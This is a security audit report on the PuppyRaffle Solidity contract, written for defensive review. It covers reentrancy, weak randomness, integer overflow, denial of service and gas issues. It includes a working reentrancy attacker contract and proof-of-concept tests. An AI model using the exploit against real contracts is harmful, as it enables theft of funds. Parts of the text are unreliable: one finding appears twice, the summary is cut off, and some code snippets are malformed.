



Protocol Audit Report

Version 1.0

Cyfrin.io

August 14, 2024

Protocol Audit Report

ArtemiZ

August 14, 2024

Prepared by: Cyfrin Lead Auditors: - ArtemiZ

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
- High
- Medium
- Low
- Informational
- Gas

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

Disclaimer

The ArtemiZ team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash:

```
1 e30d199697bbc822b646d76533b66b7d529b8ef5
```

Scope

```
1 ./src/  
2 -- PuppyRaffle.sol
```

Roles

- Owner

- Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player
- Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	9
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description:

The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");
```

```
5
6 @> payable(msg.sender).sendValue(entranceFee);
7 @> players[playerIndex] = address(0);
8
9     emit RaffleRefunded(playerAddress);
10 }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1     function test_reentrancyRefund() public {
2         address[] memory players = new address[](4);
3         players[0] = playerOne;
4         players[1] = playerTwo;
5         players[2] = playerThree;
6         players[3] = playerFour;
7         puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9         ReentrancyAttacker attackerContract = new ReentrancyAttacker(
10             puppyRaffle);
11
12         address attackUser = makeAddr("attackUser");
13
14         vm.deal(attackUser, 1 ether);
15
16         uint256 startingAttackerContractBalance = address(
17             attackerContract).balance;
18         uint256 startingContractBalance = address(puppyRaffle).balance;
19
20         vm.prank(attackUser);
21         attackerContract.attack{value: entranceFee}();
22
23         console.log("starting attacker contract balance: ",
24             startingAttackerContractBalance);
```

```
22     console.log("starting contractbalance: ",
23                 startingContractBalance);
24     console.log("starting attacker contract balance: ", address(
25                 attackerContract).balance);
26     console.log("starting contractbalance: ", address(puppyRaffle).
27                 balance);
28 }
```

And this contract as well

```
1  contract ReentrancyAttacker {
2  PuppyRaffle puppyRaffle;
3  uint256 entranceFee;
4  uint256 attackerIndex;
5
6  constructor(PuppyRaffle _puppyRaffle) {
7      puppyRaffle = _puppyRaffle;
8      entranceFee = puppyRaffle.entranceFee();
9  }
10
11  function attack() external payable {
12      address[] memory players = new address[](1);
13      players[0] = address(this);
14      puppyRaffle.enterRaffle{value: entranceFee}(players);
15      attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
16      ;
17      puppyRaffle.refund(attackerIndex);
18  }
19
20  function _stealMoney() internal {
21      if (address(puppyRaffle).balance >= entranceFee) {
22          puppyRaffle.refund(attackerIndex);
23      }
24  }
25
26  fallback() external payable {
27      _stealMoney();
28  }
29
30  receive() external payable {
31      _stealMoney();
32  }
33 }
```

Recommended Mitigation: To prevent this we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1  function refund(uint256 playerIndex) public {
```

```
2     address playerAddress = players[playerIndex];
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the
      player can refund");
4     require(playerAddress != address(0), "PuppyRaffle: Player
      already refunded, or is not active");
5
6 +     players[playerIndex] = address(0);
7 +     emit RaffleRefunded(playerAddress);
8
9     payable(msg.sender).sendValue(entranceFee);
10
11 -     players[playerIndex] = address(0);
12 -     emit RaffleRefunded(playerAddress);
13 }
```

[H-2] Week randomness in `PuppyRaffle.selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description:

Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate the values or know them ahead of time to choose the winner of the raffle themselves.

Note This additionally means users could front-run this function and call `refund` if they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on `prevrandao`. `block.difficulty` was recently replaced with `prevrandao`.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they do not like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees**Description:**

In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max
2 // 18,446,744,073,709,551,615
3 myVar = myVar + 1
4 //myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflow, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players.
2. We then have 89 players enter a new raffle, and conclude the raffle.
3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 //aka
3 totalFees = 8000000000000000000 + 1780000000000000000;
4 // and this will overflow!
5 totalFees = 18,446,744,073,709,551,615
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle:withdrawFees()`

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1 function testOverflow() public {
2     vm.warp(block.timestamp + duration + 1);
3     vm.roll(block.number + 1);
4
5     uint256 playersNum = 100;
6     entranceFee = 1 ether;
7 }
```



```
8      address[] memory players = new address[] (playersNum);
9
10     for (uint256 i = 0; i < playersNum; i++) {
11         players[i] = address(i);
12     }
13     puppyRaffle.enterRaffle{value: entranceFee * players.length}(
14         players);
15
16     puppyRaffle.selectWinner();
17
18     console.log(uint256(puppyRaffle.totalFees()));
19     console.log((playersNum * entranceFee) * 20 / 100);
20
21     assert(uint256(puppyRaffle.totalFees()) < (playersNum *
22         entranceFee) * 20 / 100);
23 }
```

Recommended Mitigation: There are a few recommendations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle:totalFees`.
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1      require(address(this).balance == uint256(totalFees), "PuppyRaffle:
2          There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service(DoS) attack, incrementing gas costs for future entrants

Description:

The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1  //@audit DOS Attack
2      for (uint256 i = 0; i < players.length - 1; i++) {
```

```
3         for (uint256 j = i + 1; j < players.length; j++) {
4             require(players[i] != players[j], "PuppyRaffle:
              Duplicate player");
5         }
6     }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

an attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: -1st 100 players: ~6252048 gas -2nd 100 players: ~18068138 gas

This more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1 function test_DOS() public {
2     vm.txGasPrice(1);
3
4     uint256 palyersNum = 100;
5
6     address[] memory players = new address[] (palyersNum);
7
8     for (uint256 i = 0; i < palyersNum; i++) {
9         players[i] = address(i);
10    }
11
12    uint256 gasStart = gasleft();
13    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
        players);
14    uint256 gasEnd = gasleft();
15    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
16
17    address[] memory players2 = new address[] (palyersNum);
18
19    for (uint256 i = 0; i < palyersNum; i++) {
20        players2[i] = address(i + palyersNum);
21    }
22
23    uint256 gasStart2 = gasleft();
24    puppyRaffle.enterRaffle{value: entranceFee * players2.length}(
        players2);
25    uint256 gasEnd2 = gasleft();
```

```
26         uint256 gasUsedSecond = (gasStart2 - gasEnd2) * tx.gasprice;
27
28         assert(gasUsedFirst < gasUsedSecond);
29     }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check does not prevent the same person from entering, multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates, This would allow constant time lookup of whether a user has already entered.

```
1 +     mapping(address => uint256) public addressToRaffleId;
2 +     uint256 public raffleId = 0;
3     .
4     .
5     .
6     function enterRaffle(address[] memory newPlayers) public payable {
7         require(msg.value == entranceFee * newPlayers.length, "
8             PuppyRaffle: Must send enough to enter raffle");
9         for (uint256 i = 0; i < newPlayers.length; i++) {
10            players.push(newPlayers[i]);
11            addressToRaffleId[newPlayers[i]] = raffleId;
12        }
13 -         // Check for duplicates
14 +         // Check for duplicates only from the new players
15 +         for (uint256 i = 0; i < newPlayers.length; i++) {
16 +             require(addressToRaffleId[newPlayers[i]] != raffleId, "
17             PuppyRaffle: Duplicate player");
18 +         }
19 -         for (uint256 i = 0; i < players.length; i++) {
20 -             for (uint256 j = i + 1; j < players.length; j++) {
21 -                 require(players[i] != players[j], "PuppyRaffle:
22             Duplicate player");
23 -             }
24 -         }
25         emit RaffleEnter(newPlayers);
26     }
27     .
28     .
29     .
30     function selectWinner() external {
31         raffleId = raffleId + 1;
32         require(block.timestamp >= raffleStartTime + raffleDuration, "
33             PuppyRaffle: Raffle not over");
34     }
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Integer overflow of `PuppyRaffle::totalFees` loses fees**Description:**

In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max
2 // 18,446,744,073,709,551,615
3 myVar = myVar + 1
4 //myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflow, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players.
2. We then have 89 players enter a new raffle, and conclude the raffle.
3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 //aka
3 totalFees = 8000000000000000000 + 1780000000000000000;
4 // and this will overflow!
5 totalFees = 18,446,744,073,709,551,615
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle:withdrawFees()`

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1 function testOverflow() public {
2     vm.warp(block.timestamp + duration + 1);
3     vm.roll(block.number + 1);
4
5     uint256 playersNum = 100;
6     entranceFee = 1 ether;
7 }
```

```
8      address[] memory players = new address[](playersNum);
9
10     for (uint256 i = 0; i < playersNum; i++) {
11         players[i] = address(i);
12     }
13     puppyRaffle.enterRaffle{value: entranceFee * players.length}(
14         players);
15     puppyRaffle.selectWinner();
16
17     console.log(uint256(puppyRaffle.totalFees()));
18     console.log((playersNum * entranceFee) * 20 / 100);
19
20     assert(uint256(puppyRaffle.totalFees()) < (playersNum *
21         entranceFee) * 20 / 100);
22 }
```

Recommended Mitigation: There are a few recommendations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle:totalFees`.
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1      require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

[M-3] Smart contract wallets raffle winners without a receive or a fallback function will block the start of a new contest

Description:

The `PuppyRaffle::selectWinner()` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery will not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact:

The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners will not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldnt work, even though the lottery is over!

Recommended Mitigation:

There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

Pull » Push

Low**[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorectly think they have not entered the raffle**

Description If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 is the player is not in the array

```
1    /// @return the index of the player in the array, if they are not
    active, it returns 0
2    function getActivePlayerIndex(address player) external view returns
    (uint256) {
3        for (uint256 i = 0; i < players.length; i++) {
4            if (players[i] == player) {
5                return i;
6            }
7        }
8        return 0;
9    }
```

Impact

A player at index 0 to incorectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Prove of Concept

1. User enters raffle, they are the first entrant

2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation

The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variable should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 +      uint256 playerLength = players.length
2 -      for (uint256 i = 0; i < players.length - 1; i++) {
3 +      for (uint256 i = 0; i < playerLength - 1; i++) {
4 -          for (uint256 j = i + 1; j < players.length; j++) {
5 +          for (uint256 j = i + 1; j < playerLength; j++) {
6              require(players[i] != players[j], "PuppyRaffle:
              Duplicate player");
7          }
8      }
```

Information

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1  pragma solidity ^0.7.6;
```

[I-2]: Using an outdated version of Solidity is not recommended.

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3]: Missing checks for address (0) when assigning values to address state variables

Check for `address (0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 69

```
1      feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 224

```
1      feeAddress = newFeeAddress;
```

[I-4]: PuppyRaffle::selectWinner does not follow CEI, which is not a best practice

It is best to keep code clean and follow CEI (Check, Effects, Impacts).

```
1 -   bool success,) = winner.call{value: prizePool}("");
2 -   require(success, "PuppyRaffle: Failed to send prize pool to winner"
3     );
3   _safeMint(winner, tokenId);
4 +   bool success,) = winner.call{value: prizePool}("");
5 +   require(success, "PuppyRaffle: Failed to send prize pool to winner"
6     );
```


[I-5]: Use of “magic” numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1    uint256 prizePool = (totalAmountCollected * 80) / 100;  
2    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;  
2    uint256 public constant FEE_PERCENTAGE = 20;  
3    uint256 public constant POOL_PERCISION = 100;
```

[I-6]: State changes are missing events**[I-7]: PuppyRaffle::_isActivePlayer is never used and should be removed**